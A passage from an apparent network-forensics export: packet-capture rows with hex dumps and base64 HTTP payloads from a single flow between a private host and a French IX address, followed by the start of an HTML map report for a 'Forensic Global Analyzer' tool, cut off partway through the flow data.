=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2920, \"\"id\"\": 15392, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 48744, \"\"src\"\": \"\"77.95.69.5\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64029, \"\"seq\"\": 2504525253, \"\"ack\"\": 2730040292, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 16482, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"fABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\"\",\\\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\"\",\\\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\"\",\\\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\"\",\\\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\"\",\\\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\"\",\\\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\"\",\\\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\"\",\\\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\"\",\\\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\"\",\\\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\"\",\\\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\"\",\\\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\"\",\\\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\"\",\\\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\"\",\\\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\"\",\\\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\"\",\\\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\"\",\\\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\"\",\\\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\"\",\\\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\",\\\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\"\",\\\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\"\",\\\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\"\",\\\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\"\",\\\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\"\",\\\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\"\",\\\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\"\",\\\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\"\",\\\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\"\",\\\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\"\",\\\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\"\",\\\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\"\",\\\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\"\",\\\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\"\",\\\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\"\",\\\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\"\",\\\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\"\",\\\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\"\",\\\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\"\",\\\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\"\",\\\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\"\",\\\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\"\",\\\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\"\",\\\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\"\",\\\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\"\",\\\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\"\",\\\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\"\",\\\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\"\",\\\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\"\",\\\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\"\",\\\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\"\",\\\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\"\",\\\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\"\",\\\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\"\",\\\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\"\",\\\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\"\",\\\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\"\",\\\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\"\",\\\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\"\",\\\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\"\",\\\"\"AG7/RyjOw9VxTnrq90UjRNfl\"\"}}]\"\n2026-07-19 10:57:19.314481,9,TCP 10.152.152.11:64029 -> 77.95.69.5:80,10.152.152.11,77.95.69.5,64029,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2730040292 Ack=2504528133,bc24112907bbbc2411360d0c080045000028a613400080061fb50a98980b4d5f4505fa1d0050a2b91be4954811055010040217720000,\".$.)...$.6\n...E..(..@.....\n...M_E....P.....H..P....r..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42515, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 8117, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.5\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64029, \"\"dport\"\": 80, \"\"seq\"\": 2730040292, \"\"ack\"\": 2504528133, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 6002, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:57:19.347885,10,TCP 77.95.69.5:80 -> 10.152.152.11:64029,77.95.69.5,10.152.152.11,80,64029,TCP,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=2504528133 Ack=2730040292,bc2411360d0cbc24112907bb08004500006e3c2240004006c9604d5f45050a98980b0050fa1d95481105a2b91be45018003f35680000354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d,\"5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 110, \"\"id\"\": 15394, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 51552, \"\"src\"\": \"\"77.95.69.5\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64029, \"\"seq\"\": 2504528133, \"\"ack\"\": 2730040292, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 13672, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"5NG7IwHSM6N/TTkVGpk=\\\"\",\\\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"\"]}\"\"}}]\"\n2026-07-19 10:57:19.398133,11,TCP 10.152.152.11:64029 -> 77.95.69.5:80,10.152.152.11,77.95.69.5,64029,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2730040292 Ack=2504528203,bc24112907bbbc2411360d0c080045000028a614400080061fb40a98980b4d5f4505fa1d0050a2b91be49548114b50100402172c0000,\".$.)...$.6\n...E..(..@.....\n...M_E....P.....H.KP....,..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42516, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 8116, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.5\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64029, \"\"dport\"\": 80, \"\"seq\"\": 2730040292, \"\"ack\"\": 2504528203, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 5932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 11, \"total_bytes_sent\": 738, \"total_bytes_received\": 4696, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [64029], \"first_seen\": 1784458639.004171, \"last_seen\": 1784458639.398133, \"packets\": [{\"num\": 0, \"time\": 1784458639.004171, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1784458639.004193, \"size\": 66, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1784458639.004286, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1784458639.004355, \"size\": 456, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1784458639.00436, \"size\": 54, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1784458639.313833, \"size\": 1518, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1784458639.314059, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1784458639.314387, \"size\": 2934, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1784458639.314481, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1784458639.347885, \"size\": 124, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1784458639.398133, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 0.39396214485168457, \"avg_packet_size\": 494.0, \"packets_per_second\": 27.92146439384724}, {\"id\": \"77.95.69.5\", \"ip\": \"77.95.69.5\", \"packet_count\": 11, \"total_bytes_sent\": 4696, \"total_bytes_received\": 738, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1784458639.004171, \"last_seen\": 1784458639.398133, \"packets\": [{\"num\": 0, \"time\": 1784458639.004171, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1784458639.004193, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1784458639.004286, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1784458639.004355, \"size\": 456, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1784458639.00436, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1784458639.313833, \"size\": 1518, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1784458639.314059, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1784458639.314387, \"size\": 2934, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1784458639.314481, \"size\": 54, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1784458639.347885, \"size\": 124, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1784458639.398133, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"France\", \"city\": \"Unknown\", \"lat\": 48.8582, \"lon\": 2.3387, \"asn\": 39801, \"isp\": \"France IX Services SASU\", \"network\": \"77.95.68.0/22\"}, \"duration\": 0.39396214485168457, \"avg_packet_size\": 494.0, \"packets_per_second\": 27.92146439384724}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"77.95.69.5\", \"packet_count\": 6, \"total_bytes\": 738, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [64029], \"dst_ports\": [80], \"first_packet\": 1784458639.004171, \"last_packet\": 1784458639.398133, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1784458639.004171, \"timestamp_iso\": \"2026-07-19T16:27:19.004171\", \"timestamp_human\": \"2026-07-19 16:27:19.004\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.5\", \"ttl\": 128, \"ip_id\": 42511, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64029, \"dst_port\": 80, \"tcp_seq\": 2730039889, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1784458639.004286, \"timestamp_iso\": \"2026-07-19T16:27:19.004286\", \"timestamp_human\": \"2026-07-19 16:27:19.004\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.5\", \"ttl\": 128, \"ip_id\": 42512, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64029, \"dst_port\": 80, \"tcp_seq\": 2730039890, \"tcp_ack\": 2504523789, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1784458639.004355, \"timestamp_iso\": \"2026-07-19T16:27:19.004355\", \"timestamp_human\": \"2026-07-19 16:27:19.004\", \"size\": 456, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.5\", \"ttl\": 128, \"ip_id\": 42513, \"ip_len\": 442, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64029, \"dst_port\": 80, \"tcp_seq\": 2730039890, \"tcp_ack\": 2504523789, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1784458639.314059, \"timestamp_iso\": \"2026-07-19T16:27:19.314059\", \"timestamp_human\": \"2026-07-19 16:27:19.314\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.5\", \"ttl\": 128, \"ip_id\": 42514, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64029, \"dst_port\": 80, \"tcp_seq\": 2730040292, \"tcp_ack\": 2504525253, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 8, \"timestamp\": 1784458639.314481, \"timestamp_iso\": \"2026-07-19T16:27:19.314481\", \"timestamp_human\": \"2026-07-19 16:27:19.314\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.5\", \"ttl\": 128, \"ip_id\": 42515, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64029, \"dst_port\": 80, 